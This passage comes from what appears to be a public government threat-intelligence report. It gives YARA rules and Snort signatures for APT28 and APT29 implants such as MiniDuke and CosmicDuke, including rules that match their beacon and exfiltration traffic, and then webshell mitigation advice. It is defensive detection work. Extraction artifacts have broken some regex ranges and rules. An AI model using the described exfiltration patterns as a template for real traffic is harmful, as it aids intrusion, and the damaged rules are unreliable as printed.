+$key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB }
+$key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F }
+$key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C }
+$key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD }
+$key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A }
+$key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B }
+$key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 }
+$key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 }
+$key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 }
+$key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 }
+$key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 }
+$key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 }
+$key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 }
+$key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 }
+$key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 }
+$key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 }
+$key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E }
+$key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 }
+$key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 }
+$key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E }
+$key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 }
+$key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 }
+$key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 }
+$key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 }
+$key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 }
+$key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F }
+$key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 }
+35 of 56
+35 of 56
+TLP:WHITE
+TLP:WHITE
+$key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F }
+$key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 }
+$key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 }
+$key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 }
+$key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 }
+$key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C }
+$key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 }
+$key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E }
+$key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 }
+$key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 }
+$key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E }
+$key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 }
+$key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 }
+$key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 }
+$key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 }
+$key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 }
+$key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 }
+$key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 }
+$key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 }
+$key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED }
+$key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D }
+$key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 }
+$key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E }
+$key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 }
+$key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D }
+$key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C }
+$key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 }
+$key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A }
+36 of 56
+36 of 56
+TLP:WHITE
+TLP:WHITE
+$key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D }
+$key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B }
+$key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 }
+$key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF }
+$key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 }
+$key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 }
+$key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 }
+$key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 }
+$key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 }
+$key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 }
+condition:
+any of them
+Rule IMPLANT_5_v3
+strings:
+$BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 }
+$BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 }
+condition:
+any of them
+Rule IMPLANT_5_v4
+strings:
+$FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 }
+$FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 }
+37 of 56
+37 of 56
+TLP:WHITE
+TLP:WHITE
+$FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 }
+$FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 }
+$FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 }
+condition:
+all of them
+Network Indicators for Implant 5
+alert tcp any any -> any [$HTTP_PORTS,44300] (msg:"X Tunnel_HTTP_CONNECT_HANDSHAKE";
+flow:established,to_server; dsize:4; content:"|00 00 00|"; offset:1; depth:3; byte_test:1,<,96,0;
+content:!"HTTP";)
+alert tcp any any -> any 443 (msg:"X Tunnel_UPSTREAM_CONNECTION_EVENT";
+flow:established,to_server; stream_size:either,=,20; content:"|02 00 00 10|"; depth:4;)
+The following YARA rules detect Sofacy, Sednit, EVILTOSS, referred to as IMPLANT 6 with rule
+naming convention.
+IMPLANT 6 Rules:
+Rule IMPLANT_6_v1
+strings:
+$STR1 = "dll.dll" wide ascii
+$STR2 = "Init1" wide ascii
+$STR3 = "netui.dll" wide ascii
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+38 of 56
+38 of 56
+TLP:WHITE
+TLP:WHITE
+Rule IMPLANT_6_v2
+strings:
+$obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32
+33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2
+5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D
+14 89 7D F4 72 A1 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_6_v3
+strings:
+$deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A 04 3A 33 D2 8A 54
+37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A 1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46
+83 FE 0A 7C ?? }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_6_v4
+strings:
+$ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b [6-10] c0 [0-1] c3}
+39 of 56
+39 of 56
+TLP:WHITE
+TLP:WHITE
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_6_v5
+strings:
+$STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B EA 8D 14 08
+B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD 57 8B 7C 24 38 89 6C 24 1C C1 EE
+02 3B DE 89 5C 24 18 89 74 24 20 0F 83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85
+CF 00 00 00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83 86 00 00 00 8A C3
+B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D 71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A
+44 37 FE 03 D6 8B D8 8D 46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32
+D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24
+14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38 41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C
+24 1C 8B 74 24 20 8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F 82 3C FF
+FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB 0D 33 C9 89 4C 24 38 E9 40 FF FF
+FF 33 C9 8B 44 24 24 33 D2 BE 06 00 00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00
+8A C3 B2 06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34 8D 54 03 FE 89
+54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44 3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA
+07 89 54 24 2C 8D 46 FF 33 D2 BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01
+F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24 14 02 D9 8A
+0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46 3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18
+C2 10 00 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_6_v6
+strings:
+40 of 56
+40 of 56
+TLP:WHITE
+TLP:WHITE
+$Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50 FF 15 ?? ?? ?? ?? 33 C0
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and all of them
+Rule IMPLANT_6_v7
+strings:
+$STR1 = "Init1"
+$OPT1 = "ServiceMain"
+$OPT2 = "netids" nocase wide ascii
+$OPT3 = "netui" nocase wide ascii
+$OPT4 = "svchost.exe" wide ascii
+$OPT5 = "network" nocase wide ascii
+condition:
+(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) ==
+0x46445025 or uint32(1) == 0x6674725C) and $STR1 and 2 of ($OPT*)
+41 of 56
+41 of 56
+TLP:WHITE
+TLP:WHITE
+APPENDIX B: APT29
+This section details six implants associated with APT29 actors. Included are YARA rules as well as
+SNORT signatures. Please note that despite being sound production rules, there is still the chance for
+False Positives. In addition, these will complement additional analysis and should not be used as the sole
+source of attribution.
+The following YARA rules detect IMPLANT 7, with rule naming convention.
+IMPLANT 7 Rules:
+Rule IMPLANT_7_v1
+strings:
+$MZ = "MZ"
+$STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE }
+$STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB }
+condition:
+$MZ at 0 and ($STR1 or $STR2)
+Network Indicators for Implant 7
+alert tcp any any -> any 80 (content:".php?";
+pcre:"/\/(?:index|status|captha|json|css|ajax|js)\.php\?(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|
+im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z0-9]{0,26} HTTP/";
+msg:"Cache_DLL beacon GET 2 arg"; sid:1234;)
+alert tcp any any -> any 80 (content:".php?";
+pcre:"/\/(?:index|status|captha|json|css|ajax|js)\.php\?(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|
+im|code|search)=[a-z0-
+42 of 56
+42 of 56
+TLP:WHITE
+TLP:WHITE
+9]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z0-9]{0,26} HTTP/";
+msg:"Cache_DLL beacon GET 3 arg"; sid:1234;)
+alert tcp any any -> any 80 (content:".php?";
+pcre:"/\/(?:index|status|captha|json|css|ajax|js)\.php\?(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|
+im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z0-9]{0,26} HTTP/";
+msg:"Cache_DLL beacon GET 4 arg"; sid:1234;)
+The following YARA rules detect HAMMERTOSS / HammerDuke, referred to as IMPLANT 8 with rule
+naming convention.
+IMPLANT 8 Rules:
+rule IMPLANT_8_v1
+strings:
+$DOTNET = "mscorlib" ascii
+$REF_URL = "https://www.google.com/url?sa=" wide
+$REF_var_1 = "&rct=" wide
+$REF_var_2 = "&q=&esrc=" wide
+$REF_var_3 = "&source=" wide
+$REF_var_4 = "&cd=" wide
+$REF_var_5 = "&ved=" wide
+$REF_var_6 = "&url=" wide
+$REF_var_7 = "&ei=" wide
+$REF_var_8 = "&usg=" wide
+43 of 56
+43 of 56
+TLP:WHITE
+TLP:WHITE
+$REF_var_9 = "&bvm=" wide
+$REF_value_1 = "QFj" wide
+$REF_value_2 = "bv.81" wide
+condition:
+(uint16(0) == 0x5A4D) and ($DOTNET) and ($REF_URL) and (3 of ($REF_var*)) and (1 of
+($REF_value*))
+Rule IMPLANT_8_v2
+strings:
+$DOTNET= "mscorlib" ascii
+$XOR = {61 20 AA 00 00 00 61}
+condition:
+(uint16(0) == 0x5A4D) and all of them
+Network Indicator for Implant 8
+alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MAL_REFERER";
+flow:established,to_server; content:"GET"; http_method; content:"&bvm=bv.81"; fast_pattern;
+http_header; content:",d."; distance:6; within:3; http_header; content:"|0D 0A|"; distance:3;within:2;
+http_header; content:!"Cookie|3A 20|"; http_header;
+pcre:"/https:\/\/www\.google\.com\/url\?sa=t&rct=j&q=&esrc=s&source=web&cd=(?:[09]|10|11)&ved=0C[A-L]{2}QFjA[A-L]&url=[^&]{1,512}&ei=[A-Za-z0-9]{20,22}&usg=[A-Za-z09_]{34}&bvm=bv\.81[1-7]{6}\,d\.[A-Za-z0-9_]{3}\x0d\x0a/D";sid:1234;rev:2;)
+alert tcp any any -> any any (msg: "evil_twitter_callback"; content:"GET /api/asyncTwitter.php
+HTTP/1.1";)
+44 of 56
+44 of 56
+TLP:WHITE
+TLP:WHITE
+The following YARA rules detect OnionDuke, referred to as IMPLANT 9 with rule naming convention.
+IMPLANT 9 Rules:
+Rule IMPLANT_9_v1
+strings:
+$STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE }
+$STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF 3B C6 72 E7 }
+$STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88 4C 02 04 40 3B 06
+72 E3 }
+condition:
+(uint16(0) == 0x5A4D or uint16(0)) and all of them
+The following Yara rule detects CozyDuke, CozyCar, CozyBear, referred to as IMPLANT 10 with rule
+naming convention.
+IMPLANT 10 Rules:
+Rule IMPLANT_10_v1
+strings:
+$MZ = "MZ"
+$STR1 = {33 ?? 83 F2 ?? 81 e2 ff 00 00 00}
+$STR2 = {0f be 14 01 33 d0 ?? f2 [1-4] 81 e2 ff 00 00 00 66 89 [6] 40 83 f8 ?? 72}
+condition:
+45 of 56
+45 of 56
+TLP:WHITE
+TLP:WHITE
+$MZ at 0 and ($STR1 or $STR2)
+Rule IMPLANT_10_v2
+strings:
+$MZ = "MZ"
+$xor = { 34 ?? 66 33 C1 48 FF C1 }
+$nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00}
+condition:
+$MZ at 0 and $xor and $nop
+Network Indicators for IMPLANT 10
+alert tcp any any -> any 80 (content:"=650&";
+pcre:"/=11&[^&]{1,7}?=2[^&]{6,12}&[^&]{1,7}?=410&[^&]{1,7}?=650&[^&]{1,7}?=51
+HTTP\/1\.1/"; msg:"CozyCar"; sid:1;)
+alert tcp any any -> any 80 (content:".php? HTTP"; content:"=12&"; distance:0;
+pcre:"/=12&[^&=]{1,7}?=2[^&=]{12,16}?==[^&=]{18,26}?==/"; msg:"CozyCarv2"; sid:1234;)
+The following YARA rules detect MiniDuke, referred to as IMPLANT 11 with rule naming convention.
+IMPLANT 11 Rules:
+Rule IMPLANT_11_v1
+46 of 56
+46 of 56
+TLP:WHITE
+TLP:WHITE
+strings:
+$STR1 = {63 74 00 00} // ct
+$STR2 = {72 6F 74 65} // rote
+$STR3 = {75 61 6C 50} // triV
+$STR4 = {56 69 72 74} // Plau
+$STR5 = { e8 00 00 00 00 }
+$STR6 = { 64 FF 35 00 00 00 00 }
+$STR7 = {D2 C0}
+$STR8 =
+/\x63\x74\x00\x00.{3,20}\x72\x6F\x74\x65.{3,20}\x75\x61\x6C\x50.{3,20}\x56\x69\x72\x74/
+condition:
+(uint16(0) == 0x5A4D) and #STR5 > 4 and all of them
+Network Indicators for IMPLANT 11
+alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_1_1 - new"; content:"IUgyYll";
+pcre:"/IUgyYll(\x0d\x0a)??t(\x0d\x0a)??L(\x0d\x0a)??l(\x0d\x0a)??N(\x0d\x0a)??3(\x0d\x0a)??Q/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_1_2 - new"; content:"ltLlN3Q";
+pcre:"/I(\x0d\x0a)??U(\x0d\x0a)??g(\x0d\x0a)??y(\x0d\x0a)??Y(\x0d\x0a)??l(\x0d\x0a)??ltLlN3Q/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_2_1 - new"; content:"FIMmJZ";
+pcre:"/FIMmJZ(\x0d\x0a)??b(\x0d\x0a)??S(\x0d\x0a)??5(\x0d\x0a)??T(\x0d\x0a)??d(\x0d\x0a)??0/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_2_2 - new"; content:"bS5Td0";
+pcre:"/F(\x0d\x0a)??I(\x0d\x0a)??M(\x0d\x0a)??m(\x0d\x0a)??J(\x0d\x0a)??Z(\x0d\x0a)??bS5Td0/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_3_1 - new"; content:"hSDJiWW";
+pcre:"/hSDJiWW(\x0d\x0a)??0(\x0d\x0a)??u(\x0d\x0a)??U(\x0d\x0a)??3(\x0d\x0a)??d(\x0d\x0a)??A/";)
+47 of 56
+47 of 56
+TLP:WHITE
+TLP:WHITE
+alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_3_2 - new"; content:"W0uU3dA";
+pcre:"/h(\x0d\x0a)??S(\x0d\x0a)??D(\x0d\x0a)??J(\x0d\x0a)??i(\x0d\x0a)??W(\x0d\x0a)??W0uU3dA/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_1_1 - new"; content:"QDM0Zlo";
+pcre:"/QDM0Zlo(\x0d\x0a)??3(\x0d\x0a)??R(\x0d\x0a)??V(\x0d\x0a)??t(\x0d\x0a)??w(\x0d\x0a)??X/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_1_2 - new"; content:"o3RVtwX";
+pcre:"/Q(\x0d\x0a)??D(\x0d\x0a)??M(\x0d\x0a)??0(\x0d\x0a)??Z(\x0d\x0a)??l(\x0d\x0a)??o3RVtwX/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_2_1 - new"; content:"AzNGZa";
+pcre:"/AzNGZa(\x0d\x0a)??N(\x0d\x0a)??0(\x0d\x0a)??V(\x0d\x0a)??b(\x0d\x0a)??c(\x0d\x0a)??F/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_2_2 - new"; content:"N0VbcF";
+pcre:"/A(\x0d\x0a)??z(\x0d\x0a)??N(\x0d\x0a)??G(\x0d\x0a)??Z(\x0d\x0a)??a(\x0d\x0a)??N0VbcF/";)
+alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_3_1 - new"; content:"AMzRmWj";
+pcre:"/AMzRmWj(\x0d\x0a)??d(\x0d\x0a)??F(\x0d\x0a)??W(\x0d\x0a)??3(\x0d\x0a)??B(\x0d\x0a)??c/";
+alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_3_2 - new"; content:"jdFW3Bc";
+pcre:"/A(\x0d\x0a)??M(\x0d\x0a)??z(\x0d\x0a)??R(\x0d\x0a)??m(\x0d\x0a)??W(\x0d\x0a)??jdFW3Bc/";
+The following YARA rules detect CosmicDuke, referred to as IMPLANT 12 with rule naming
+convention.
+IMPLANT 12 Rules:
+Rule IMPLANT_12_v1
+48 of 56
+48 of 56
+TLP:WHITE
+TLP:WHITE
+strings:
+$FUNC = {a1 [3-5] 33 c5 89 [2-3] 56 57 83 [4-6] 64}
+condition:
+(uint16(0) == 0x5A4D) and $FUNC
+Network Indicators for IMPLANT 12
+alert tcp any any -> any 80 (msg:"CosmicDuke HTTP Beacon"; content:"&BranchID=";
+pcre:"/\?(?:m|mgn)\&Auth\=[a-zA-Z0-9]{8}\&Session\=/"; )
+alert tcp any any -> any 80 (msg:"CosmicDuke Webdav Exfil"; content:"PUT /catalog/outgoing/wd";
+pcre:"/PUT \/catalog\/outgoing\/wd[a-zA-Z0-9]{44}\.bin/";)
+alert tcp any any -> any 21 (msg:"CosmicDuke FTP Exfil"; content:"STOR fp"; pcre:"/STOR fp[a-zAZ0-9]{44}\.bin/"; )
+49 of 56
+49 of 56
+TLP:WHITE
+TLP:WHITE
+APPENDIX C: Mitigations Guidance
+Defending Against Webshell Attacks
+Defend
+Continually patch all webservers and all web components servicing the site, including PHP,
+Apache, IIS, and ColdFusion. Deploying a webshell typically requires adding to, or
+modifying, the code presented by the web server and is often accomplished via an exploit of
+a web server vulnerability. Patching all components that service the web server provides a
+substantial mitigation against most commonly known vulnerabilities.
+Adhere to least privilege principles for server access and management. Through following
+the principle of least privilege, lateral movement and privilege escalation is made more
+challenging to an attacker by restricting access on the box and across the network.
+Restrict write access to all folders that contain files served by the web server. All content
+served by the web server should be tightly controlled in such a way that only web
+administrator accounts can modify or add content. This would force an attacker to gain
+specific sets of credentials before they could add any malicious content to be delivered by the
+server.
+Restrict access to all ports and administrative panels. Server ports are typically very
+predictable, and access to those ports should be constrained to only the services and users
+that require them. This will reduce the attack surface on the web server and supporting
+applications.
+Deploy and configure Security-Enhanced Linux (SELinux) on supported Linux specific
+systems. SELinux has the capability to lock down web services such as Apache and can be
+configured to allow the service to access only certain directories. The administrators could
+possibly include /var/www/html, which contains the actual pages being served up. If a site
+has upload capabilities, then SELinux could help with least privilege by restricting read/write
+access on these folders as well. The web service already runs in a lower privilege context, but
+SELinux would also limit the file locations that it can actually access. This would prevent
+arbitrary file writes and possible malware uploads to areas that an admin would not normally
+detect.
+Conduct regular vulnerability scans and establish a remediation strategy focusing on the most
+detrimental findings first. Regular scanning and remediation measures will remove
+opportunities to exploit known attack vectors by an adversary.
+Deploy a Web Application Firewall (WAF). WAF technologies defend against common web
+exploitation techniques such as SQL injection and cross site scripting. Deploying this
+capability helps reduce the likelihood of a successful web attack on the server that could
+otherwise allow the perpetrator to modify code and deploy the webshell.
+50 of 56
+50 of 56
+TLP:WHITE
+TLP:WHITE
+Where third party products are integrated into the website (e.g., Adobe ColdFusion) ensure
+that the product is configured according to DoD or vendor published hardening best
+practices.1
+Detect
+Conduct regular log review. Key sources should include the network and host firewalls,
+Intrusion Prevention System, proxy, and local event logs. Events of interest should include
+high usage rates to suspicious IPs, odd timestamps on web files (dates that don
+t match
+previous content updates), odd connections destined for internal networks, suspicious files in
+internet accessible locations, references to key words such as cmd.exe or eval.4 Auditing
+should involve some kind of aggregator to store and secure the logs remotely. Even the best
+auditing on the web server is useless if the attacker can just manipulate or delete them once
+they have obtained control. The logs should be protected and regularly rolled up to a
+centralized location for integration into a security information and event management system.
+Develop all content in an offline environment and maintain a hash list of all web files.
+Frequently compare the hashes of the files on the web server to the known good list
+maintained offline (an automated method is preferred).
+Obtain regular full system backups (including snapshots if it is a virtual machine).
+Forensically the known good data that these can provide is extremely useful for detection.
+Having a copy of the filesystem before a compromise to compare against the postcompromise filesystem can be a benefit to any analysis.
+Analyze traffic flows looking for certain anomalous behaviors such as prolonged
+connections, data frequently being pushed to the server (e.g., commands being sent to the
+shell), frequent large data transfers (an indication of data exfiltration), and abnormal
+encryption (anything that is not SSL/TLS or that negotiates using an alternate certificate) as
+indicators of potential nefarious activity.2
+Contain
+Internet facing web servers should be deployed to a DMZ. All traffic to internal networks
+from the DMZ should be significantly constrained and highly monitored.
+Restrict outbound communications from the DMZ to all other networks. Communications
+originating in the DMZ destined for the internal network should be minimal at most (ideally
+this should never happen). An attacker who gains access to a web server in the DMZ should
+have no capability to leverage that access in order to gain direct additional access in the
+internal network. Web server communications to the internet should be restricted to http/https
+only. All other ports and protocols should be blocked.
+https://helpx.adobe.com/coldfusion/community-documentation/coldfusion-lockdown-guide.html
+https://www.us-cert.gov/ncas/alerts/TA15-314A
+51 of 56
+51 of 56
+TLP:WHITE
+TLP:WHITE
+When a Domain Controller (DC) is necessary in the DMZ, it is recommended that a
+standalone DC and forest structure be deployed. Additionally, all accounts and resources in
+the DMZ instance should have no association or likeness to the internal network.
